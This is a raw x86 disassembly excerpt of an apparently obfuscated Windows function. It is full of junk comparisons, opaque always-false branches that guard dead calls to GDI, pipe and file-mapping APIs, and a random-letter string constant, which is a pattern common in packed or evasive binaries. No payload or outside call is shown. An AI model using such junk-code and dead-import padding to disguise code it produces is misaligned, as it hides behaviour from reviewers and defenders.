call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov byte [ebp - 0x27e], 0
movzx eax, byte [ebp - 0x27e]
test eax, eax
je 0x46a163
push 0x146f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9b4]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x9b4]
cmp eax, dword [ebp - 0x4c]
jg 0x46a18e
mov dword [ebp - 0x141c], 1
jmp 0x46a195
and dword [ebp - 0x141c], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x141c], eax
jg 0x46a1af
mov dword [ebp - 0xa54], 1
jmp 0x46a1b6
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0xa54], eax
jge 0x46a1cd
mov dword [ebp - 0x1424], 1
jmp 0x46a1d4
and dword [ebp - 0x1424], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x1424], eax
jg 0x46a1eb
mov dword [ebp - 0xa5c], 1
jmp 0x46a1f2
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0xa5c]
sub eax, dword [ebp - 0x354]
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x21f8], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x2430], eax
cmp dword [ebp - 0x8c], 1
jge 0x46a231
mov dword [ebp - 0x960], 1
jmp 0x46a238
and dword [ebp - 0x960], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x960]
mov dword [ebp + eax - 0x2154], ecx
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x960]
cmp eax, 6
jbe 0x46a265
mov dword [ebp - 0x142c], 1
jmp 0x46a26c
and dword [ebp - 0x142c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9b4]
cmp dword [ebp - 0x142c], eax
jl 0x46a28c
mov dword [ebp - 0xa64], 1
jmp 0x46a293
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0x8c]
add eax, 0x255f
cmp eax, dword [ebp - 0xa64]
je 0x46a2b2
mov dword [ebp - 0x1434], 1
jmp 0x46a2b9
and dword [ebp - 0x1434], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9b4]
cmp dword [ebp - 0x1434], eax
jne 0x46a2da
mov dword [ebp - 0xa6c], 1
jmp 0x46a2e1
and dword [ebp - 0xa6c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9b4]
cmp dword [ebp - 0xa6c], eax
jne 0x46a302
mov dword [ebp - 0x143c], 1
jmp 0x46a309
and dword [ebp - 0x143c], 0
mov eax, dword [ebp - 0x143c]
mov dword [ebp - 0x1bec], eax
mov dword [ebp - 0x3f8], 2
mov byte [ebp - 0x280], 0
movzx eax, byte [ebp - 0x280]
test eax, eax
je 0x46a34e
push 0
push 0xe6c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov dword [ebp - 0x3f8], 0
jmp 0x46a367
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0xb
jge 0x46a393
mov byte [ebp - 0x282], 0
movzx eax, byte [ebp - 0x282]
test eax, eax
je 0x46a391
push 0
push 0
push 0x12b
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x46a35a
mov dword [ebp - 0x1c], 0x7a4a12b5
mov dword [ebp - 0x144c], 0xe011b55e
mov dword [ebp - 0x1464], 0xcf7a0211
mov dword [ebp - 0xa9c], 0xffffffff
mov dword [ebp - 0x146c], 0xfffffff8
mov dword [ebp - 0xaa4], 3
mov dword [ebp - 0xaac], 0x30971cf7
mov dword [ebp - 0x147c], 0xfffffff6
mov dword [ebp - 0x1494], 0x7f44fb66
mov dword [ebp - 0x149c], 1
mov dword [ebp - 0x17c], 0
jmp 0x46a40d
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 2
jge 0x46a429
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x2d0], 0xe2799ac7
jmp 0x46a400
mov dword [ebp - 0x17c], 0
jmp 0x46a442
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 2
jge 0x46a45e
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x25fc], 0x8b74
jmp 0x46a435
mov dword [ebp - 0x1c], 1
jmp 0x46a46e
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x46a7f8
mov dword [ebp - 0x1444], 1
mov dword [ebp - 0x1474], 0
mov dword [ebp - 0x768], 0
jmp 0x46a4a5
mov eax, dword [ebp - 0x768]
inc eax
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 4
jge 0x46a4c1
mov eax, dword [ebp - 0x768]
mov dword [ebp + eax*4 - 0x267c], 0xffffffff
jmp 0x46a498
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2d0], 2
ja 0x46a4da
mov dword [ebp - 0xa74], 1
jmp 0x46a4e1
and dword [ebp - 0xa74], 0
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0x1444], eax
mov eax, dword [ebp - 0x1444]
mov dword [ebp - 0xa7c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa7c]
mov dword [ebp + eax - 0x267c], ecx
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0x144c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
cmp dword [ebp - 0x144c], eax
je 0x46a536
mov dword [ebp - 0xa84], 1
jmp 0x46a53d
and dword [ebp - 0xa84], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xa84], eax
jle 0x46a557
cmp dword [ebp - 0x1c], 0
jne 0x46a557
and dword [ebp - 0x1454], 0
jmp 0x46a561
mov dword [ebp - 0x1454], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
cmp dword [ebp - 0x1454], eax
jg 0x46a57f
mov dword [ebp - 0xa8c], 1
jmp 0x46a586
and dword [ebp - 0xa8c], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
add eax, dword [ebp - 0xa8c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2d0]
jg 0x46a5b1
mov dword [ebp - 0x145c], 1
jmp 0x46a5b8
and dword [ebp - 0x145c], 0
cmp dword [ebp - 0x145c], 0xffffffff
jge 0x46a5cd
mov dword [ebp - 0xa94], 1
jmp 0x46a5d4
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0xa94]
mov dword [ebp - 0x1464], eax
mov eax, dword [ebp - 0x1464]
mov dword [ebp - 0xa9c], eax
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0x146c], eax
mov eax, dword [ebp - 0x146c]
mov dword [ebp - 0xaa4], eax
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0x1474], eax
mov eax, dword [ebp - 0x1474]
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0xaac]
mov dword [ebp - 0x147c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
cmp dword [ebp - 0x147c], eax
je 0x46a646
mov dword [ebp - 0xab4], 1
jmp 0x46a64d
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
cmp dword [ebp - 0xab4], eax
jne 0x46a66b
mov dword [ebp - 0x1484], 1
jmp 0x46a672
and dword [ebp - 0x1484], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2d0]
cmp dword [ebp - 0x1484], eax
jge 0x46a693
mov dword [ebp - 0xabc], 1
jmp 0x46a69a
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0xabc]
jne 0x46a6b1
mov dword [ebp - 0x148c], 1
jmp 0x46a6b8
and dword [ebp - 0x148c], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
cmp eax, dword [ebp - 0x148c]
je 0x46a6df
mov eax, 0xa8ce9b8a
test eax, eax
je 0x46a6df
mov dword [ebp - 0xac4], 1
jmp 0x46a6e6
and dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0xac4]
mov dword [ebp - 0x1494], eax
mov eax, dword [ebp - 0x1494]
neg eax
sub eax, dword [ebp - 0x1c]
inc eax
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ebp + ecx*4 - 0x2d0]
add ecx, eax
jne 0x46a71e
cmp dword [ebp - 0x149c], 0
jne 0x46a71e
and dword [ebp - 0xacc], 0
jmp 0x46a728
mov dword [ebp - 0xacc], 1
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
imul eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0xacc]
jg 0x46a74a
mov dword [ebp - 0xad4], 1
jmp 0x46a751
and dword [ebp - 0xad4], 0
mov eax, dword [ebp - 0x149c]
cmp dword [ebp - 0xad4], eax
jne 0x46a76b
mov dword [ebp - 0x14a4], 1
jmp 0x46a772
and dword [ebp - 0x14a4], 0
cmp dword [ebp - 0x14a4], 0x4b0f4f2d
jge 0x46a78a
mov dword [ebp - 0xadc], 1
jmp 0x46a791
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2d0]
imul eax, dword [ebp - 0xadc]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2d0]
jl 0x46a7bd
mov dword [ebp - 0x14ac], 1
jmp 0x46a7c4
and dword [ebp - 0x14ac], 0
cmp dword [ebp - 0x14ac], 0x5f7f7777
jne 0x46a7dc
mov dword [ebp - 0xae4], 1
jmp 0x46a7e3
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xae4]
mov dword [ebp + eax*4 - 0x2d0], ecx
jmp 0x46a467
mov dword [ebp - 0x15dc], 0x7212
mov dword [ebp - 0x14b4], 0xfffffffc
mov dword [ebp - 0x1bfc], 0
mov dword [ebp - 0x400], 0
jmp 0x46a82f
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 1
jge 0x46a84b
mov eax, dword [ebp - 0x400]
mov dword [ebp + eax*4 - 0x1bf4], 0x9714
jmp 0x46a822
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1bf4]
mov dword [ebp - 0x14b4], eax
mov eax, dword [ebp - 0x14b4]
mov dword [ebp - 0x1bfc], eax
mov byte [ebp - 0x1f2], 0
movzx eax, byte [ebp - 0x1f2]
test eax, eax
je 0x46a884
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [ebp - 0x1c74], str.fogay_yvmhy_mtjoknvf_zhhya_wuhlvw_xkk_ntzawyfl_vxil_utdgecq_mkzrqmhb_walpfmhpv_wcnjwqwc_wmaqgbpid_oxmjtqumu
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x3b0], 0xfffffff7
mov dword [ebp - 0x2184], 0x43e1243b
mov dword [ebp - 0x2180], 0x43e1243b
mov dword [ebp - 0x217c], 0x43e1243b
mov dword [ebp - 0x2178], 0x43e1243b
mov dword [ebp - 0x1c1c], 0xffffffff
mov dword [ebp - 0x5f0], 0
jmp 0x46a8f4
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 3
jge 0x46a910
mov eax, dword [ebp - 0x5f0]
mov dword [ebp + eax*4 - 0x9a8], 0x33563700
jmp 0x46a8e7
xor eax, eax
inc eax
je 0x46a991
mov eax, dword [ebp - 0x9c]
sub eax, 0x2628abfb
cmp eax, 0xa61f
jle 0x46a933
mov dword [ebp - 0xaec], 1
jmp 0x46a93a
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0xaec]
jne 0x46a954
mov dword [ebp - 0x14bc], 1
jmp 0x46a95b
and dword [ebp - 0x14bc], 0
cmp dword [ebp - 0x14bc], 0
jne 0x46a970
mov dword [ebp - 0xaf4], 1
jmp 0x46a977
and dword [ebp - 0xaf4], 0
mov eax, dword [ebp - 0xaf4]
sub eax, dword [ebp - 0x9c]
je 0x46a991
mov dword [ebp - 0x1c04], 1
jmp 0x46a998
and dword [ebp - 0x1c04], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x2200], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x9c]
test eax, eax
jne 0x46a9c7
mov dword [ebp - 0x14c4], 1
jmp 0x46a9ce
and dword [ebp - 0x14c4], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x14c4], eax
jne 0x46acc4
mov dword [ebp - 0x114], 0xb000e2e4
mov dword [ebp - 0x40], 0
jmp 0x46a9fa
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jg 0x46acc2
mov dword [ebp - 0x1c14], 0x1ae7d512
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x40], eax
jne 0x46aa25
mov dword [ebp - 0xafc], 1
jmp 0x46aa2c
and dword [ebp - 0xafc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9a8]
cmp eax, dword [ebp - 0xafc]
jg 0x46aa4d
mov dword [ebp - 0x14cc], 1
jmp 0x46aa54
and dword [ebp - 0x14cc], 0
cmp dword [ebp - 0x14cc], 0xffffffff
je 0x46aa69
mov dword [ebp - 0x1c0c], 1
jmp 0x46aa70
and dword [ebp - 0x1c0c], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2544], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x2208], eax
mov eax, dword [ebp - 0x114]
add eax, 0x4e5477a7
cmp eax, dword [ebp - 0x114]
jl 0x46aaa4
mov dword [ebp - 0xb04], 1
jmp 0x46aaab
and dword [ebp - 0xb04], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb04]
sub ecx, dword [ebp + eax - 0x9a8]
cmp ecx, 3
je 0x46aacf
mov dword [ebp - 0x14d4], 1
jmp 0x46aad6
and dword [ebp - 0x14d4], 0
cmp dword [ebp - 0x14d4], 0xc3e5f885
jb 0x46aaee
mov dword [ebp - 0xb0c], 1
jmp 0x46aaf5
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0xb0c], eax
jle 0x46ab0f
mov dword [ebp - 0x14dc], 1
jmp 0x46ab16
and dword [ebp - 0x14dc], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x14dc], eax
jle 0x46ab30
mov dword [ebp - 0xb14], 1
jmp 0x46ab37
and dword [ebp - 0xb14], 0
imul eax, dword [ebp - 0xb14], 0x3239
cmp dword [ebp - 0x114], eax
jle 0x46ab55
mov dword [ebp - 0x14e4], 1
jmp 0x46ab5c
and dword [ebp - 0x14e4], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x14e4], eax
jle 0x46ab76
mov dword [ebp - 0xb1c], 1
jmp 0x46ab7d
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0xb1c], eax
jge 0x46ab97
mov dword [ebp - 0x14ec], 1
jmp 0x46ab9e
and dword [ebp - 0x14ec], 0
mov eax, dword [ebp - 0x14ec]
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0
je 0x46abc8
cmp dword [ebp - 0x114], 0
je 0x46abc8
mov dword [ebp - 0xb24], 1
jmp 0x46abcf
and dword [ebp - 0xb24], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9a8]
cmp dword [ebp - 0xb24], eax
je 0x46abf9
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x9a8], 0
jne 0x46abf9
and dword [ebp - 0x14f4], 0
jmp 0x46ac03
mov dword [ebp - 0x14f4], 1
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x9a8]
cmp eax, dword [ebp - 0x14f4]
jl 0x46ac36
mov byte [ebp - 0x1f4], 0
movzx eax, byte [ebp - 0x1f4]
test eax, eax
je 0x46ac31
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
jmp 0x46acbd
mov dword [ebp - 0x1f5c], 0x3044b131
mov dword [ebp - 0x1f58], 0x3044b131
mov dword [ebp - 0x1f54], 0x3044b131
mov dword [ebp - 0x1f50], 0x3044b131
cmp dword [ebp - 0x9c], 1
je 0x46ac73
mov dword [ebp - 0xb2c], 1
jmp 0x46ac7a
and dword [ebp - 0xb2c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f5c]
add eax, dword [ebp - 0xb2c]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x1f5c]
cmp eax, dword [ebp - 0x40]
jge 0x46acaa
mov dword [ebp - 0x14fc], 1
jmp 0x46acb1
and dword [ebp - 0x14fc], 0
mov eax, dword [ebp - 0x14fc]
mov dword [ebp - 0x1c14], eax
jmp 0x46a9f3
jmp 0x46ad0b
mov byte [ebp - 0x1f6], 0
movzx eax, byte [ebp - 0x1f6]
test eax, eax
je 0x46acde
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov byte [ebp - 0x1f8], 0
movzx eax, byte [ebp - 0x1f8]
test eax, eax
je 0x46ad0b
push 0x146f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a8]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x9a8]
cmp eax, dword [ebp - 0x40]
jg 0x46ad36
mov dword [ebp - 0xb34], 1
jmp 0x46ad3d
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0xb34], eax
jg 0x46ad57
mov dword [ebp - 0x1504], 1
jmp 0x46ad5e
and dword [ebp - 0x1504], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x1504], eax
jge 0x46ad75
mov dword [ebp - 0xb3c], 1
jmp 0x46ad7c
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xb3c], eax
jg 0x46ad93
mov dword [ebp - 0x150c], 1
jmp 0x46ad9a
and dword [ebp - 0x150c], 0
mov eax, dword [ebp - 0x150c]
sub eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x2440], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x2210], eax
cmp dword [ebp - 0x9c], 1
jge 0x46add9
mov dword [ebp - 0x95c], 1
jmp 0x46ade0
and dword [ebp - 0x95c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x95c]
mov dword [ebp + eax - 0x2184], ecx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x95c]
cmp eax, 6
jbe 0x46ae0d
mov dword [ebp - 0xb44], 1
jmp 0x46ae14
and dword [ebp - 0xb44], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9a8]
cmp dword [ebp - 0xb44], eax
jl 0x46ae34
mov dword [ebp - 0x1514], 1
jmp 0x46ae3b
and dword [ebp - 0x1514], 0
mov eax, dword [ebp - 0x9c]
add eax, 0x255f
cmp eax, dword [ebp - 0x1514]
je 0x46ae5a
mov dword [ebp - 0xb4c], 1
jmp 0x46ae61
and dword [ebp - 0xb4c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a8]
cmp dword [ebp - 0xb4c], eax
jne 0x46ae82
mov dword [ebp - 0x151c], 1
jmp 0x46ae89
and dword [ebp - 0x151c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9a8]
cmp dword [ebp - 0x151c], eax
jne 0x46aeaa
mov dword [ebp - 0xb54], 1
jmp 0x46aeb1
and dword [ebp - 0xb54], 0
mov eax, dword [ebp - 0xb54]
mov dword [ebp - 0x1c1c], eax
mov dword [ebp - 0x3b8], 0xd4e06482
mov dword [ebp - 0x3b8], 0xfffffff7
jmp 0x46aee0
mov eax, dword [ebp - 0x3b8]
dec eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0xffffffe5
jg 0x46af08
mov byte [ebp - 0x1fa], 0
movzx eax, byte [ebp - 0x1fa]
test eax, eax
je 0x46af06
push 0x1ea0
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
jmp 0x46aed3
mov dword [ebp - 0x3b8], 0x5b0e446d
cmp dword [ebp - 0x15dc], 0x72de
jle 0x46afc2
and dword [ebp - 0x408], 0
jmp 0x46af38
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x7097
jge 0x46afba
and dword [ebp - 0x6f0], 0
jmp 0x46af5a
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 0x22f7
jge 0x46afb5
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x6f0]
sar eax, cl
cdq
mov dword [ebp - 0x1964], eax
mov dword [ebp - 0x1960], edx
push dword [ebp - 0x1960]
push dword [ebp - 0x1964]
lea ecx, [ebp - 0x26c4]
call fcn.004530f8
pop ecx
pop ecx
mov ecx, eax
call fcn.004026c4
push eax
call fcn.004814e5
pop ecx
lea ecx, [ebp - 0x26c4]
call fcn.004024b1
jmp 0x46af4d
jmp 0x46af2b
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
mov dword [ebp - 0x20], 0x7a4a12b5
mov dword [ebp - 0xb64], 0xe011b55e
mov dword [ebp - 0xb7c], 0xcf7a0211
mov dword [ebp - 0x154c], 0xffffffff
mov dword [ebp - 0xb84], 0xfffffff8
mov dword [ebp - 0x1554], 3
mov dword [ebp - 0x155c], 0x30971cf7
mov dword [ebp - 0xb94], 0xfffffff6
mov dword [ebp - 0xbac], 0x7f44fb66
mov dword [ebp - 0xbb4], 1
mov dword [ebp - 0x194], 0
jmp 0x46b03c
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 2
jge 0x46b058
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x2c8], 0xe2799ac7
jmp 0x46b02f
mov dword [ebp - 0x194], 0
jmp 0x46b071
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 2
jge 0x46b08d
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x25e4], 0x8b74
jmp 0x46b064
mov dword [ebp - 0x20], 1
jmp 0x46b09d
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x46b427
mov dword [ebp - 0xb5c], 1
mov dword [ebp - 0xb8c], 0
mov dword [ebp - 0x410], 0
jmp 0x46b0d4
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 4
jge 0x46b0f0
mov eax, dword [ebp - 0x410]
mov dword [ebp + eax*4 - 0x264c], 0xffffffff
jmp 0x46b0c7
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x2c8], 2
ja 0x46b109
mov dword [ebp - 0x1524], 1
jmp 0x46b110
and dword [ebp - 0x1524], 0
mov eax, dword [ebp - 0x1524]
mov dword [ebp - 0xb5c], eax
mov eax, dword [ebp - 0xb5c]
mov dword [ebp - 0x152c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x152c]
mov dword [ebp + eax - 0x264c], ecx
mov eax, dword [ebp - 0x152c]
mov dword [ebp - 0xb64], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
cmp dword [ebp - 0xb64], eax
je 0x46b165
mov dword [ebp - 0x1534], 1
jmp 0x46b16c
and dword [ebp - 0x1534], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1534], eax
jle 0x46b186
cmp dword [ebp - 0x20], 0
jne 0x46b186
and dword [ebp - 0xb6c], 0
jmp 0x46b190
mov dword [ebp - 0xb6c], 1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
cmp dword [ebp - 0xb6c], eax
jg 0x46b1ae
mov dword [ebp - 0x153c], 1
jmp 0x46b1b5
and dword [ebp - 0x153c], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
add eax, dword [ebp - 0x153c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2c8]
jg 0x46b1e0
mov dword [ebp - 0xb74], 1
jmp 0x46b1e7
and dword [ebp - 0xb74], 0
cmp dword [ebp - 0xb74], 0xffffffff
jge 0x46b1fc
mov dword [ebp - 0x1544], 1
jmp 0x46b203
and dword [ebp - 0x1544], 0
mov eax, dword [ebp - 0x1544]
mov dword [ebp - 0xb7c], eax
mov eax, dword [ebp - 0xb7c]
mov dword [ebp - 0x154c], eax
mov eax, dword [ebp - 0x154c]
mov dword [ebp - 0xb84], eax
mov eax, dword [ebp - 0xb84]
mov dword [ebp - 0x1554], eax
mov eax, dword [ebp - 0x1554]
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb8c]
mov dword [ebp - 0x155c], eax
mov eax, dword [ebp - 0x155c]
mov dword [ebp - 0xb94], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
cmp dword [ebp - 0xb94], eax
je 0x46b275
mov dword [ebp - 0x1564], 1
jmp 0x46b27c
and dword [ebp - 0x1564], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
cmp dword [ebp - 0x1564], eax
jne 0x46b29a
mov dword [ebp - 0xb9c], 1
jmp 0x46b2a1
and dword [ebp - 0xb9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c8]
cmp dword [ebp - 0xb9c], eax
jge 0x46b2c2
mov dword [ebp - 0x156c], 1
jmp 0x46b2c9
and dword [ebp - 0x156c], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x156c]
jne 0x46b2e0
mov dword [ebp - 0xba4], 1
jmp 0x46b2e7
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
cmp eax, dword [ebp - 0xba4]
je 0x46b30e
mov eax, 0xa8ce9b8a
test eax, eax
je 0x46b30e
mov dword [ebp - 0x1574], 1
jmp 0x46b315
and dword [ebp - 0x1574], 0
mov eax, dword [ebp - 0x1574]
mov dword [ebp - 0xbac], eax
mov eax, dword [ebp - 0xbac]
neg eax
sub eax, dword [ebp - 0x20]
inc eax
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp + ecx*4 - 0x2c8]
add ecx, eax
jne 0x46b34d
cmp dword [ebp - 0xbb4], 0
jne 0x46b34d
and dword [ebp - 0x157c], 0
jmp 0x46b357
mov dword [ebp - 0x157c], 1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
imul eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x157c]
jg 0x46b379
mov dword [ebp - 0x1584], 1
jmp 0x46b380
and dword [ebp - 0x1584], 0
mov eax, dword [ebp - 0xbb4]
cmp dword [ebp - 0x1584], eax
jne 0x46b39a
mov dword [ebp - 0xbbc], 1
jmp 0x46b3a1
and dword [ebp - 0xbbc], 0
cmp dword [ebp - 0xbbc], 0x4b0f4f2d
jge 0x46b3b9
mov dword [ebp - 0x158c], 1
jmp 0x46b3c0
and dword [ebp - 0x158c], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x2c8]
imul eax, dword [ebp - 0x158c]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2c8]
jl 0x46b3ec
mov dword [ebp - 0xbc4], 1
jmp 0x46b3f3
and dword [ebp - 0xbc4], 0
cmp dword [ebp - 0xbc4], 0x5f7f7777
jne 0x46b40b
mov dword [ebp - 0x1594], 1
jmp 0x46b412
and dword [ebp - 0x1594], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1594]
mov dword [ebp + eax*4 - 0x2c8], ecx
jmp 0x46b096
push 2
lea ecx, [ebp - 0x1ce4]
call fcn.00426223
mov dword [ebp - 0x1c4], 0x2ee76f50
mov dword [ebp - 0x5f8], 0
jmp 0x46b457
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
